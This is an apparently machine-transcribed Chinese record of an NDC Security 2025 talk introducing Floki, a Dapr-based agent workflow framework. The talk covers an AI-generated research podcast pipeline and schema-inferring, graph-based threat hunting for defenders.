NDC-安全大会-2025-笔记-全-

NDC 安全大会 2025 笔记(全)

001:Floki - 定义安全领域的智能体工作流 - Roberto Rodriguez

感谢大家前来。这个房间在大会中位置比较隐蔽,不容易找到。我感谢大家花时间一路走到这里。

我们可以从介绍开始。本次演讲将深入探讨使用Floki可以实现的一些工作流。Floki构建在Dapr之上。我将在几分钟内解释一下那是什么。

在开始之前,需要说明,这不是我为微软做的演讲,也不是代表微软。我实际上是一名网络安全研究员,过去两三年对AI充满热情。目前我的职业正朝着这个方向发展。大家在这里看到的一切,主要是我个人进行的研究,以及在公司内部与一些朋友分享的内容。我不代表微软进行这次演讲。

让我们直接进入Floki是什么。我知道仅凭标题,很多人可能不清楚这次演讲的内容。首先,我是《维京传奇》系列的粉丝,我喜欢Floki这个角色,因为他是一个动手能力很强的人。他能造船,能让其他维京人航行。这有点像构建一个其他人可以使用并能在其上构建自己工具的想法。可以把Floki看作一个智能体框架,你可以用它来构建基于LLM的应用程序。

对于那些已经在这个领域或对AI及其在多主题应用感到好奇的人来说,可能听说过像LangChain、LlamaIndex或CrewAI等库。Floki是我对智能体所需功能的理解。我试图让它尽可能轻量级,尽管它已经包含了很多功能。我的目标是学习工具的内部原理,以及一切是如何工作的。这就像在阅读相关知识后,构建某些东西的第一个里程碑。

Floki的一大特点是,当我看到所有其他应用程序时,构建工作流并不容易,比如链接操作、构建由其他事件驱动的东西,或者尝试集成人在回路中。这仍然不容易。如果你真的看过LangGraph和LlamaIndex的工作流,你必须真正成为这两个工具的专家才能构建一个。所以Floki的理念是:让它变得简单。让我们构建超级容易理解和遵循的工作流。希望这是一个你将来能够使用的工具,它已经在GitHub上发布两个月了。

首先,观众中有谁熟悉智能体?看来大家都知道智能体是什么。总的来说,想象这样一个应用程序:用户与LLM或语言模型交互,然后这个模型进行大量的“思考”。有些人说这不是推理,只是预测下一个词。但它拥有的很多知识和上下文,产生的输出非常有趣,看起来它确实在不同任务间进行思考和推理。最基本的概念是帮助人类或帮助自己选择正确的工具或下一步行动。有时这可以伴随一个它能够产生的预定计划,在某些场景中,只是一次一步,尝试选择它需要的东西。当然,模型不执行任何工具。模型只是建议工具以及如何执行工具。然后你必须获取该上下文并自己执行。通过这个基本流程,你将模型暴露给世界,允许它根据你使用此智能体的场景,从不同环境中获取观察结果。这就是智能体的基础。

当我们开始思考这个智能体流程时,从技术上讲,你可以这样使用它:你提供某种输入,希望这个东西进行推理、采取行动、观察发生了什么,然后让你知道。同时,你可以添加一些循环,比如“再试一次,我认为这不是我需要的,你再去执行整个循环”。有时你可以将这个循环设置为20到100次,或者让它运行多次。所以每次你想到一个智能体,就已经集成了某种流程,并且有不同的智能体模式遵循某种流程。

有趣的是,在这个流程的某些步骤中,模型实际上在做一些事情。例如,当你要求它推理时,模型就在那个步骤。当你想让它行动时,模型并不行动。理解在流程的哪个部分实际使用模型非常重要,这样你才能可能将其与其他工具集成。

当然,工具设置在“行动”部分,而“观察”是它能够从世界或它所操作的环境中收集到的任何信息。

当我们思考智能体模式时,我们讨论的第一个是基本的反思循环,它接受任务,进行推理,执行某些操作,尝试推理,提供关于发生了什么的反馈,然后回到那个循环中。当然,你还可以添加工具使用,为其添加工具,以便根据推理采取行动。你还可以添加一些规划。这是一个非常有趣的模式,因为在我看来,在某些场景中,比如网络安全,你不能只是规划整个调查,因为调查通常从警报开始,然后试图弄清楚接下来会发生什么。所以你可能会有一个计划,在高层面上说明你会做什么。但这个计划可能需要在接下来的几步中变成不同的计划,但至少有一个计划是好的,可以涵盖系统可能采取的基本步骤。最后,你可以将所有模式封装在一个微服务中。然后该微服务可以与其他拥有自己模式的微服务交互。所以当你开始思考智能体模式时,在这个智能体或应用程序所具有的能力之下,总有一个工作流。

在我看来,很多人将工作流讨论为:如果是确定性的,就不是智能体工作流;如果是非确定性的,就是智能体工作流。但根据我的经验,你会为许多不同的场景混合使用它们。有些地方会非常确定,有些地方你希望根据实际获取的观察结果走向不同的方向。思考这种流程非常有趣。

谁听说过ReAct模式?是的,推理然后行动基本上就是我最初展示的内容。这只是让智能体能够对任务进行推理、采取行动,然后简单地进入该循环的一种方式。最终,这又是一个基本的工作流。所以当有人说智能体模式、ReAct智能体模式,然后你看到这个流程时,它非常基础。所以当有人说智能体时,你必须想到类似这样的东西。显然,你可能会遇到其他复杂类型的工作流。

在微软内部,关于什么是智能体也有很大的争论。根据我的团队和其他互动,在我看来,Copilot智能体有时我想到它,我觉得那听起来更像一个聊天机器人。但可能在其他地方有很多连接,那里正在进行一些智能体工作流。无论如何,这是一个非常有趣的概念。对我来说,我喜欢深入研究底层发生了什么,而不太担心是否称之为智能体。

ReAct的概念会是这样的。这是我们用Floki可以做的事情。如前所述,Floki包含了许多在Python中初始化智能体的基础功能,然后你可以简单地给它工具,让它对任务进行推理,然后使用工具。

这里没什么疯狂的。现在,Dapr是什么?对于那些从未听说过Dapr的人来说,它是一个分布式应用程序运行时。对我来说,这是过去几年里我真正感到高兴的项目之一。原因是,每次我想构建一些东西时,都需要开始与一个API交互,需要编写一个新模块来与密钥库、自定义数据库或AWS实例通信。世界上有很多不同的资源,我没有时间开始构建所有存在的连接器。所以当你想到LangChain和LlamaIndex时,它们就是这样做的,它们实际上分离了一个库,称为核心LangChain,然后是社区LangChain,因为他们想要拥有所有连接器。对我来说,甚至想到如果我需要从Azure资源迁移到AWS或GCP,就必须更改代码,可能需要不同的参数,这很麻烦。

Dapr带来了一个侧车的概念,它已经作为你的代理在运行。并且已经有很多针对特定服务的连接器和集成。所以正如你在这里看到的,你可以做工作流,可以访问密钥。我的意思是,如果我编写代码从Azure密钥库访问密钥,我不想为了与AWS中的等效服务通信而重写代码或导入其他东西。Dapr作为一个侧车,为你提供了那些API。所以你不用担心正在集成的是什么。这是我喜欢它的一点。它也是平台无关的,并且有不同语言的版本,如Python、C#、Java等。

Dapr的一个组件是Dapr工作流。这实际上是构建在持久任务之上的。如果你听说过Azure中持久任务的概念,那实际上就是Azure Functions中协调器和工作流运行的东西。他们开源了很多SDK,比如Python,我认为还有Go SDK,Dapr的核心组件是用Go编写的。

但对我来说,当我看到这个时,它非常酷,是在2023年。我当时尝试用这个构建东西,但它不够好,不够稳定。但现在比2023年好多了。这里的想法是,我想将工作流定义为代码。我希望能够做一个基本的for循环、while循环、条件语句,而不必担心如何用这个做for循环。这就是我在其他库中再次体验到的。我并不是说不要用LangGraph而用Floki。但当我回到LangGraph等工具来构建基本工作流时,我必须学习很多不同的新东西。老实说,我没有时间这样做。所以我只想使用一个能让部署到生产环境变得容易、能够在本地测试所有内容、并且能够将工作流定义为代码的工具,或者只是以一种基本的、Pythonic的方式来做。

Dapr附带的工作流模式非常基础。有任务链、扇出扇入,以及监控的概念。这意味着你可以有一个while循环,并且期望发生一个事件,以便你用它做些什么。所以即使这些非常基础,你也可以用这三种模式构建很多东西。如果你开始查看外面很多关于构建下一个智能体框架甚至构建播客的博客文章,你可以用这里的这三种东西做同样的事情。想法是,其中一些可能只是多个基于LLM的任务,或者你可以将整个智能体包装进去,它内部会有自己的工作流,你可以让它进行通信,或者只是成为每个步骤的一部分。

区别在于,我可以说“你能写一封邮件吗?你能定义邮件的情绪吗?你能修改邮件吗?”这对我来说,只是尝试做基于LLM的API调用,或者只是让我做ChatGPT,期望它立即为我做些什么。一个智能体可以是:“嘿,你能查询我环境中的所有警报吗?也许连接到其他实例、其他服务,并可能做一些其他事情。”所以现在这个东西就会开始,在拥有适当访问权限的情况下,开始执行工具等过程。这就是我所说的拥有基于智能体的任务与仅仅基于LLM的任务的区别。

当然,当涉及到监控时,你可以监控一组智能体和一个能力。使用Dapr,你可以获得的一个能力是,可以轻松地与共享消息的服务连接。在我看来,像Dapr这样的服务以及其他你可能听说过的类似框架,已经解决了这个问题。他们已经将这种东西部署到生产环境中来进行这种消息共享等。所以当我看到很多其他框架试图重建它时,比如我已经提到的那些,这很令人沮丧,因为它已经存在了。它们已经连接了所有能让它实现的东西。

所以最终,这就是Floki。一个不仅提供一个智能体基础功能的工具,而且实际上允许你将该智能体转换为微服务,并将其作为FastAPI等暴露出来。然后它能够通过消息系统(如发布订阅)与其他微服务通信。这就是Floki。如果你尝试一下,请告诉我。我最近修复了很多错误。我是那种如果发布项目,就必须完美的人。但这永远不会发生。所以我不得不在11月发布它。

有趣的是,我总是把我妻子牵扯进来,因为她是我每天唯一认真交谈的人,因为我在家工作,她说:“你必须发布它。你不可能再花一两年时间试图让它成为最好的项目。”这就是我的意思。如果有错误,我很抱歉,这仍然是一个早期项目。但希望你们可以尝试一下。

现在想想,如果你现在有一个智能体,默认情况下,开箱即用,当你将其作为服务与Dapr一起部署时,你将能够直接使用。例如,如果你在本地初始化Dapr,你将在本地拥有多个Docker容器,这些容器将提供一些惊人的功能,当你开始构建智能体时(在我看来),不仅仅是查看API调用或消息,还有其他应用程序可以用于此。但要弄清楚编排是如何发生的,每个步骤花费了多少时间,这非常棒。并且,例如,我能否将智能体的状态保存在某个地方?你可以用Dapr自动做到这一点,因为它们已经有一个API,你可以直接说“保存状态”,然后传递一个字典。

所以,与其我尝试构建整个东西,它已经在那里了,非常简单。这里的概念基本上是说,你可能想要构建的所有智能体现在已经附带了许多不同的集成。这就是我之前谈到的。如果我构建一个智能体,并且想与多个服务交互,我不想构建连接器。不可能。这里甚至有一些我从未听说过的东西。你们可能已经知道很多了。例如,我前几天看的一个是Open Policy Agent,老实说,我从未听说过,我以为它是另一个AI智能体,但似乎不是。但这就是我所说的。所以如果有人问:“组织希望我们用Redis构建一些东西,并与Azure Cosmos DB或Key Vault连接,或者使用Kafka进行发布订阅”,你不再需要担心这些了。这就是Dapr的美妙之处,也是我在其上构建Floki的原因。

现在的想法是,你将拥有多个智能体,它们将通过这些服务相互通信。这就是Floki。我只想让你注意侧车。想法是侧车将暴露许多这些功能。同时,当你执行某些操作时,它已经被遥测捕获,因为侧车就在你面前。现在有很多项目试图弄清楚开放遥测如何工作,以捕获智能体执行的所有这些操作,你不需要担心任何这些。

这就是它的美妙之处。我想稍后展示一下。最后一点,如前所述。很多这些微服务或多智能体系统需要以某种方式通信。你可以有一个作为类的智能体,你可以初始化并说“运行这个”,然后你运行这个,然后你可以说“我正在与它们所有人通信,我在一个工作流中循环进行”。是的,你可以这么说。

但这种通信方式非常强大,因为你正在生成这种对话上下文,这种聊天方式来传递消息或处理问题,也非常强大。你可以在对话中提供更多上下文,也许是一些其他新想法,而不是仅仅说“执行一个操作”,如果失败,看看发生了什么,然后再执行一次,读取错误。与就此进行对话有点不同。

所以,使用Dapr和Floki,有特定的API,如你所见,发布、订阅和广播整个路径。这不是我写的,这意味着如果我将我的智能体部署为Dapr集群的一部分,我可以直接说“向状态元数据中的所有智能体广播”。就是这样。在我看来,这更容易使用。然后你还可以定义可以发送的消息类型,并且默认使用CloudEvents模式。所以如果你熟悉CloudEvents,它是一个标准,我认为是gRPC标准。这也非常强大,因为你为交换的每条消息获取额外的元数据。

好了,由于我们刚刚进入演讲20分钟,我想快速展示一些东西。我以为我已经讲了20分钟。有这个项目。这更多是为了安全研究。我喜欢从这里开始,因为这正是我相信我在这个领域开始职业生涯的方式。如前所述,我一直在做网络安全,特别是在防御方面,在微软做了四年,也做过攻击方面的工作。

对我来说,深入研究新事物,学习更快地处理所有这些信息的方法非常重要。这就是我这么做的原因。这是我用Floki构建的东西,我稍后会展示它的作用。但想法是,我最初想定义几个确定性的工作流,只是为了从ArXiv下载论文,ArXiv保存了很多研究论文,社区发布并与他人分享。有一个API,你可以设置,例如,我只想关注计算机科学论文。我想寻找关于智能体或生成式AI以及蓝队、红队、攻击、防御等概念。我构建这个的原因也是因为,在我的组织里,有很多人分享带有20多个链接和多个要点的电子邮件。我不可能全部阅读。我有ADHD,我相信,我就是无法专注于这么多不同的事情。我做不到。所以,如果我真的想强迫自己学习一些东西,唯一的方法是通过播客,通过一种沟通方式,在我通勤或锻炼时听。

所以想法是下载所有论文,用LLM过滤所有论文,以确保我们捕获正确的上下文。你可以捕获每篇论文的摘要。然后最后,我们可以下载所有论文。然后开始使用LLM编写转录稿。所以每一页都会被阅读。你通过提示告诉它:“嘿,我希望你专注于每一页,尝试收集每一页的关键概念。任何对普通人来说可能太复杂的东西,试着分解它,然后告诉我,就像我5岁一样。我还希望你能告诉我每一页的关键要点,并试着描述它,就像你在跟我说话一样,向我解释。”

这就是编写转录稿。然后,我们开始做文本转语音。这是我可以使用Eleven Labs公司做的事情。每月20美元,你可以进行10个并发API调用。所以我们可以扇出然后扇入。然后我们还可以生成每一集。

那是什么意思?我获取转录稿,基本上是每篇论文的摘要。然后我获取论文本身的摘要,因为论文带有一个小摘要。我试图定义那一集的内容,并给它一个比论文标题更具吸引力的标题,因为论文标题有时很糟糕。这就是我所做的。然后我简单地生成音频。

这就是我们用Floki所做的。已经有一个播客了。让我看看能不能快速展示一下。如果你能,你可以注册。让我们看看能不能快速完成这个。这是Spotify。

正在加载。这是。把它放进去。我想是那个。

那个。这是AI安全语音播客。它已经有两集了,今天还有一集要来。它基本上是在谈论。让我看看能不能播放,我不知道能不能通过这里播放。

通过设计有效地。所以解决这些担忧可以引导我们走向一个结构化的绳索。我所做的也是克隆了我的声音。这很容易做到。你需要做大约30分钟的录音,然后等待模型在你的声音上进行训练和微调,然后它们就可以生成输出。我的一个梦想是拥有一个播客,但我在概述中明确说明了这是一个AI生成的播客。我不想欺骗任何人。但我想,你知道吗,我就把我的声音放进去,然后每天早上锻炼时听播客。就这样。

已经有一些了。如果我们去Floki的这个项目。我需要。等一下,确保我能展示。好了,我把它放大。再次,在这里。所以输出样本。我们有它下载的所有论文在这里,然后最后的所有剧集基本上是我的天,VS Code太糟糕了。抱歉,好了。它基本上是由系统本身生成的。AI给我标题、概述、整篇论文的要点。然后我们还有每篇论文的索引。然后是更新的索引,LLM说这些实际上与网络安全无关,所以也许那些应该被排除。然后我们还有转录稿。让我做这个。在转录稿中,例如,我的项目AI安全语音,实际上这个项目将在本周发布,你可以在其中定义自己的角色、自己的标题,或者可以有多个参与者。所以现在,我只是说,如果你看到一个主持人没有参与者,就像一个单人播客。如果你看到其他参与者,就开始就每一页进行对话。在我看来,这样做效果很好。

但我觉得也许第一集暂时只有我。在某个时候,20分钟后,我有点厌倦听自己的声音。但你能为研究做到这一点还是很酷的。这是我安全研究的一部分。现在,老实说,即使这可能有点,也许有趣,但这确实是我第一次真正自动化自己。因为我一直想这么做,因为我想做太多事情,但没有时间。阅读论文对我来说太多了。这是现在的一种方式,老实说,每天当我在办公室喝咖啡时,就听播客。然后我也可以做其他事情,如前所述。这很迷人。所以无论如何,这是我做的第一个安全相关的东西,现在它帮助我很多,让我跟上所有这些不同的事情。

现在,我们试图解决哪些挑战,在我看来,特别是在网络安全防御方面?这是每个人都想构建的东西。这是即使我与微软内部的一些人交谈时,我们也在试图找出最佳方式,以拥有一个具有正确工具的系统,与正确的表通信,进行自然语言到KQL的转换,然后弄清楚如何查询所有这些信息,然后让分析师等待一些后续步骤,也许等待关于这个事件进展的反馈,一直到让它进行多步骤或三分支类型的调查。

但让我们现实一点。如果你想查询KQL。你的查询会从这个变成这个,一旦你开始集成多个东西,一旦你开始尝试扩展范围,有时与多个东西连接,最终你会有一个庞大的查询。对我们来说,这是黄金。对于很多试图寻找自己模型、弄清楚如何改进智能体的AI人员来说,这也是黄金,因为他们想从中学习,或者他们只是想将这些大查询推送给系统,以便他们可以参考其中一些,并可能写出变体。

但老实说,我还没有看到那方面取得很好的成功。这是因为,例如,像KQL这样的东西的复杂性,要能够捕获多个东西。当你思考调查时,你开始连接点,开始连接节点。你的查询不会,在我看来,仅仅为了创建这个庞大的东西而可持续。智能体或语言模型在这方面并不擅长。已经有很多年尝试做自然语言到KQL了,我认为与两三年前相比,他们做得很好。但这仍然是一个巨大的挑战。目前,我不是说这会是永远的,但这只是一个挑战。

所以,作为研究的一部分,我思考的一件事是,从技术上讲,即使有转换在进行,你也有一个庞大的本体论或数据模型需要维护。当调查发生时,你的数据模型和本体论也可能被抛到一边。例如,在微软,进行调查时,有多个数据科学团队带来他们自己的数据。他们从多个地方捕获数据,并将其带入一个集群,然后说:“我丰富了这些数据,去狩猎吧。”我们马上就会问:“好吧,这里的模式是什么?”所以你必须在调查过程中学习新的模式。这不好玩。所以试图跟上这些,非常困难。

通常,我将这些视为数据转换,然后是狩猎。通常我们参与狩猎,而不是这个领域。我现在的团队更专注于AI,比如,让自主防御微软成为可能,这是我目前的团队,我们现在专注于本体论,但为了支持智能体,并弄清楚它们能用它做什么。

所以像这样的概念,例如,可能是可能的。那么这里发生了什么?在这个概念中,如你所见,线条来自前一个。所以你有了本体论在那里停止,分析师只接收本体论。这个有点像结合在一起。我们能否有一点数据转换,同时我让它成为狩猎的一部分?这意味着,如果我能构建一个系统,让我以某种方式转换数据,使其也能推断出自己的本体论,会怎样?

它可以推断出自己的模式,自己的数据模型。由于我们总是以图的方式思考,因为我们试图连接点,连接证据,我们可以实际上从本体论、数据模型转到图。我们还可以让系统编写代码,从具有本体论的数据直接摄取到图中。

有几件事在那里得到了处理。首先,你不再需要担心任何其他模式了。即使我被卷入一个事件,其中有多个具有新模式的数据集群,我也不用担心,因为会有一个系统能够查看它。它可能能够查询最后五个事件,并对这个本体论可能是什么、这个事件的模式是什么有一个概念。这样做有很多好处。最后,分析师只是一个可以用自然语言与系统交互的人。

因为现在系统能够理解用户的意图,能够理解数据模式,能够提出自己的本体论,并且能够编写代码来生成图。

所以现在我可以问问题,系统凭借图的模式和本体论,能够编写图查询,而不是编写这种庞大的查询,试图进行多次连接。我并不是说图数据库比数据集群更好,情况并非如此,因为根据经验这样做也很疯狂。

如果你依赖图数据库作为你的海量数据库,试图将很多东西从数据迁移到图数据库,以后无法扩展。但我喜欢的是,这更像是你环境的局部视图。如果我现在只关心我环境的2%,因为我试图开始我的调查,我可以接受对这2%进行图分析。对整个世界进行图分析,那是一个完全不同的挑战。但这非常有用,因为你实际上可以深入研究,甚至可以让模型思考。

即使在图中,例如,在调查过程中,你可以说:“我想让你连接一个可能被添加到组中的用户,并告诉我这个组如何与环境中的其他资源相关。”你可以编写一个Cypher查询或Gremlin查询(对于那些使用TinkerPop的人来说),这些甚至更容易用自然语言理解和解释。所以想想看,这有多强大。

最后,你拥有所有这些安全平台,包含所有这些不同的信息。即使你添加了像Bloodhound这样的攻击路径或任何其他攻击路径管理系统,你也可以集成它,说:“嘿,你能把它添加到本体论中吗?你能用我的活动数据连接那个东西,然后能够遍历图吗?”

现在,对我来说非常有趣的一点是,当你用智能体遍历图,并要求智能体制定计划时,它非常擅长说:“哦,我找到了X,我可以把它连接到Y和Z,我可以这样走。”但当你要求它制定计划时,它通常会说:“找到可疑活动。”对我来说,那是什么意思?我如何找到可疑活动?在这一点上,对我来说,这个努力是你图的局部视图或态势。

但如果你想识别异常,你必须从全局视图来看待它。所以现在,例如,在团队中的努力,总的来说,这并不新鲜,已经有很多人在做了。所以我可以分享。但我们正在试图弄清楚拥有图的全局视图意味着什么。训练一个模型来识别这些异常需要多少时间?我们从一个小的环境开始。对我来说,后来那将成为智能体的输入。所以在计划中,当智能体说“让我们找到异常”时,它只会与该工具交互,说:“嘿,我有这个实体,想知道从异常角度来看它的分数是多少。”这就是你如何集成全局视图和局部视图。这是纯粹的局部视图,范围非常集中,对于那些例如调查经验较浅的人,甚至在公司内部,也许你在自己的主题上是专家,但当你进入一个新组织时,你必须再次学习所有这些模式和数据。如前所述,在调查中,你总是会遇到新的数据集。像这样的东西会有所帮助。

那么这是如何工作的?这是我整理的东西,有点乱。但希望它能讲得通。然后我可以从这里带你到代码,到Floki。我可以解释某些领域,我如何使用扇出扇入、链式、循环等概念,以及如何与Floki和Dapr一起运行工作流。

所以我们从获取用户消息、问题开始,比如“我试图在我的环境中寻找创建的文件”。下一步,暂时不计划任何东西,因为我们试图从左到右,从左开始,意思是离数据、离环境最近。我首先总是问的问题是,如果你在寻找文件创建,我们能否弄清楚文件创建数据集是什么,比如,我去哪里找那个数据?这是一个有效的问题,很多人可以真正回答这个问题。即使在微软,如果你问登录日志数据在哪里,你会说:“你指的是客户能看到的东西,还是我们能看到的?它存在于这个环境中吗?”这很混乱。

所以想法是,我们可以索引很多这些模式。人们带到对话中的模式越多,就越能定义。只需带来你拥有的所有模式,然后能够获取所有这些,创建索引。所以能够将它们发送到向量数据库。尝试进行查询分解,你可以获取用户的第一个问题或多个句子的问题,将其分解成小块,并进行多跳类型的检索增强生成,你可以识别与查询相关的相似模式。

所以我们这样做,然后获取相关模式。然后我们还使用LLM来检查所有模式。这就是那个步骤的作用。所以一旦你进行多跳,你最终会得到多个模式。所以最后,你必须进行另一次传递,找出哪些是支持用户意图的最佳模式。

然后我们可以做一些扇出。这里的想法是,既然我知道需要收集什么数据以及可以从哪里收集,我实际上可以执行查询。不是做那些超级复杂的查询,而是非常基本的,比如KQL或SPL或任何其他查询语言。非常基本的查询,只是说,基于模式,如果你想寻找文件创建,我们可能会在Sysmon中查找事件11(用于本地),或者我们可以查看Defender中的文件创建事件。让我们只捕获你正在寻找的时间,然后去数据集,只检索前500个事件。这是一种方式,我们可以创建几个文件。然后,我们实际上要求LLM基于模式生成图本体论。

所以当所有这些发生时,我们可以执行另一个任务,我们说你有所有这些来自不同表的模式。我想让你用这些重新生成一个图本体论。对我来说,这非常强大,因为你没有给另一个LLM 500乘以4个事件。你只给了一个模式。所以即使你有十个模式,那个东西也能适应一个提示。

想法是,如何开始创建这种结构:基于我正在处理的模式,顶级实体是什么?我可以在这些模式中定义什么关系?然后基于此,你实际上可以让它为你编写代码。当然,现在是非常基础的Python代码,但你可以让它更好。想法是:看,我有这个模式,这意味着我们知道事件将如何处理。我们现在也有一个图本体论。那么我们能编写一些代码,让我们将其转换为图吗?

当然,再次强调,如果你对数十万条数据这样做,会花费时间。但如果你在一个范围非常集中的任务中这样做,拥有所有这些准备就绪会非常酷。然后它进入图数据库。

现在,用户实际上可以再次提问,或者只是让它的第一个问题准备好被回答。现在系统有了一个基于模式的本体论,我们也可以生成图查询。所以最后,你实际上可以拥有这样一个系统:每次有人想调查某事时,你可以启动索引。因为每个问题都会不同。我的意思是,大多数都会不同,因为你可能正在寻找,或者我已经做了文件创建,让我们看看可能创建了那个东西的进程,让我们看看谁访问了那个东西,让我们看看可能发生了哪些网络连接。所有这些,如你们所知,有不同的表,不同的模式。它们可能有一些相似的字段。这就是你向模型展示它们如何连接的方式。但这是你可以做的事情。你可以将其用作按需类型的工具。这非常有用。

让我们看看能不能做到这个。我试着让它更好,因为我不喜欢看到所有这些。希望你们能看到。让我把它弄小一点。好吧。首先让我展示一下Floki的基础知识,我打算关闭一些东西。让我展示一下Dapr中的工作流大概是什么样子。让我看看。例如,这就是Dapr工作流的样子。你只需导入库,可以初始化工作流,可以使用装饰器说“这是我的工作流”。在内部,我将简单地运行上下文,调用活动,并运行同一脚本中具有活动装饰器的其他函数。

差不多就是这样。然后在工作流内部,你可以做基本的任务链,这就是yield的作用。所以yield会等待直到完成,然后移动到下一个和下一个。但如果你去掉yield,它就会异步运行。这非常基础。但同时,我强烈鼓励你去弄清楚如何用其他为AI做这件事的库来做这个。我并不是说为了这类事情。现在,这再次带来的价值是,每个正在执行的任务都被包装在Dapr的概念、侧车、底层服务中,这些服务正在捕获所有遥测数据。那是什么意思?例如,如果我去...

抱歉。如前所述,让我把它放大。Dapr,当你在本地部署时,实际上可以有一个自动部署的Docker容器,它将运行Zipkin,Zipkin实际上从Dapr捕获开放遥测。然后你实际上可以看到,例如,执行情况。让我看看能不能找到另一个。可能没有。

是的。好了,看,我的演示早些时候失败了。这没关系。但至少我有证据证明我们是如何做到这一点的。好了。所以自动地,你可以在这里看到,你得到了这种开箱即用的东西。有一些服务试图做到这一点,但你必须要么付费,要么将数据发送到云服务。这是你使用Braintic时做的事情。例如,如果你使用Braintic AI,你可以使用这个惊人的Locksmith服务(我想是叫这个),你可以从你的AI应用程序获取开放遥测。但你的所有数据都去了那里。这个在你的电脑上,你会有类似的感觉。

你实际上可以确切地看到,例如,错误是什么。让我在这里展示。我喜欢它如何向你展示事物的顺序。例如,当某些东西被执行时,比如查询生成,你可以看到那三个是作为扇出执行的。但那一个,我想,花了很长时间。这里有一个错误。所以是的,我想知道这个发生了什么。所以我知道它在我的主工作流中失败了。这不是一个消息。哦,好吧,是一个我用来传递给我的工作流中的任务的变量。但无论如何,这就是我的意思。当你看着它时,它非常简单。但底层发生了很多事情,在我看来,当你试图监控智能体在做什么或不做什么时,这些非常强大。

现在,与Floki有什么区别?我可以采用相同的...它看起来会差不多一样。所以这是Floki。它看起来几乎一样。但Floki的区别在于,Dapr只允许你定义一个工作流、一个函数和一个任务。它被称为活动。活动、活动、活动。你只能执行Python函数。在Floki中,我引入了任务的概念。你可以看到我们如何改变它。

这个大小对你们后面的人来说合适吗?好的。所以任务和活动的区别在于,使用Floki,你可以获取一个任务,并传递任务的描述。那将是一个提示。底层已经初始化了一个LLM客户端,默认情况下只是OpenAI客户端。但你可以将其设置为任何你想要的。实际上,任务中有一个参数可以用来定义提示和LLM,或者定义智能体。所以你也可以将智能体附加到任务本身。

这就是Floki的概念,它如何在Dapr活动周围创建包装器,并使其变得如此容易创建。让我展示一下那是什么意思。例如,如果你去Dapr,想调用OpenAI,你必须这样做,这没问题。导入OpenAI,初始化它,然后放几条消息,然后尝试获取字符。

但是如果我们去Floki,这都在代码库中,你可以去cookbook工作流和基础部分。这就是它在Floki中的样子。在这个例子中,我说:“从《指环王》中随机挑选一个角色,我是它的粉丝,然后只以角色名称回应。”就这样。底层将由LLM客户端处理,发送过去,检索回来。我能展示一下发生了什么吗?有一件事我没有在这里展示,或者也许我展示了。哦,在这里。你还可以用Floki做的一件事是这样的。看这个有多小。你可以有一个工作流,其中只有一个任务及其自己的提示。函数的变量,我想是参数,也将被用来在提示内部进行替换。例如,如果我调用这个函数时带有名称,在这个例子中,我用的是Scooby Doo,那么提示将用那个运行。“Scooby Doo是谁?”第二件事是,如果你定义一个Pydantic对象或类作为模式,你可以将其传递给类型,即返回类型。然后任务就会知道:“哦,好的,你想要我进行结构化输出,或者能够使用OpenAI的工具调用来接收结构化输出。”所以这是Floki中做的一些事情,你可以用这样简单的方式完成。最后,每个任务的每个输出必须是一个字典。所以最终,Floki在底层所做的是,它获取那个Pydantic对象,接收结构化输出,验证它,然后模型转储,只导出一个字典。所以所有这些,而不是一遍遍地输入,你可以像那样做。好了,这给了你关于Floki如何操作的101介绍。

我们还可以做的另一件事。让我看看能不能展示一下。然后我们深入另一个例子。让我看看能不能做到这个。我不知道为什么我的...还有一个二号村庄。所以,用Floki,我们实际上可以做到。如果我们去cookbook,去工作流,实际上有非常基础的。它给了你一个关于这是如何工作的概念。顺便说一下,医生播客也在这里。基本概念。但我有另一个项目将其提升到新的水平。

所以Floki的想法是,当你使用Dapr时,例如,你想定义你的服务,你定义用FastAPI服务器暴露的服务,就像Dapr中的这个,你实际上可以构建一个应用程序,然后简单地用Dapr的扩展将其暴露为API。我所做的就是拿我的基本智能体,那个告诉我天气等东西的智能体,我把它暴露为一个服务,只是一个包装器,非常容易做到。我现在就展示给你看。但这就是你如何轻松运行多智能体的方法。

你知道,非常容易,尝试定义Dapr端口、应用程序的基本端口。让我展示一下那实际上是什么样子。如果我打开服务,然后去Elf和app,这就是app的样子,例如,它所做的就是初始化智能体,给它你典型的目标和指令以及你想要的一切。然后最后,你可以用这个Dapr智能体服务包装它,它暴露了所有Dapr连接器和组件。现在你准备好开始交换消息等所有事情了。

这就是定义一个智能体作为服务有多容易。它已经可以工作了。为了做一个非常基础的。这里。这将是。让我看看我们如何再次做到这个。所以我们将使用工作流服务,工作流LM。好的,所以我们使用工作流LM。这意味着这个工作流的工作原理是,它将知道有多少个智能体,它将知道智能体的目标,然后每个问题都将通过这个管理器智能体路由,它将决定下一个谁发言。这是你在Autogen和其他框架中看到的东西。但在这种情况下,都是用Dapr完成的。如果你想知道那是如何工作的,你可以去源代码,floy.agent.workflows.helm。它基本上,例如,这是提示之一。嗯,那不让。内部。所以另一个工作流只是处理输入,将消息添加到每个智能体的整个历史中,广播消息,然后决定下一个发言者。它触发下一个发言者。这也是Dapr和Floki非常强大的一点,你实际上可以等待外部事件。所以这也是你可以集成人在回路的地方。例如,当你进行安全调查或使用我之前提到的系统时,你可以说“本体论可以吗?”然后只是等待,或者“这个查询是正确的吗?这些模式是你实际想到的吗?从这些模式查询数据有意义吗?”这非常简单,就像你如何生成一个事件一样,只要事件进来,它就会等待。那个事件可以来自多个服务。你可以在本地做,或者只是有一个API或连接到服务。

好了,最后。我们可以快速做一个。让我运行另一个,这样我们可以结束这里的演讲。所以,这是事件标签。比如说,像智能体。这就是我在幻灯片中展示给你的,那里有几个智能体。有一个智能体。有我的Stockck管理器智能体。如果我去智能体的主工作流,我们可以快速浏览一下。这也将在本周末发布。这基本上就是我告诉你的。所以这个工作流将启动。它将捕获任何输入。它将等待任何类型的。这可能是一个问题,比如“嘿,我想在我的环境中查询任何类型的文件创建事件。”然后,这将直接进行。但输入也只是为了说:“好的,所以我要获取你的消息,把它放在一个我可以交换的格式中。我可以把它发送给多智能体协作团队中的每个人。然后我将执行一个子工作流。”

这也很棒,因为你可以保持你的主工作流非常简单。你可以用Floki定义多个工作流。这个工作流的作用是,如果我去那个工作流,我去工作流和检索模式工作流,它非常容易阅读。它读取所有模式,创建文档。所以它获取所有模式,将索引所有文档,并将执行查询分解。然后最后,它将简单地开始生成相关的模式,试图弄清楚哪些是相关的模式,以便能够调查这个事件。然后最后,它将过滤模式。然后简单地返回那个。所以通过这个基本工作流,我们已经试图确定正确的数据集,以便查询或进行调查。

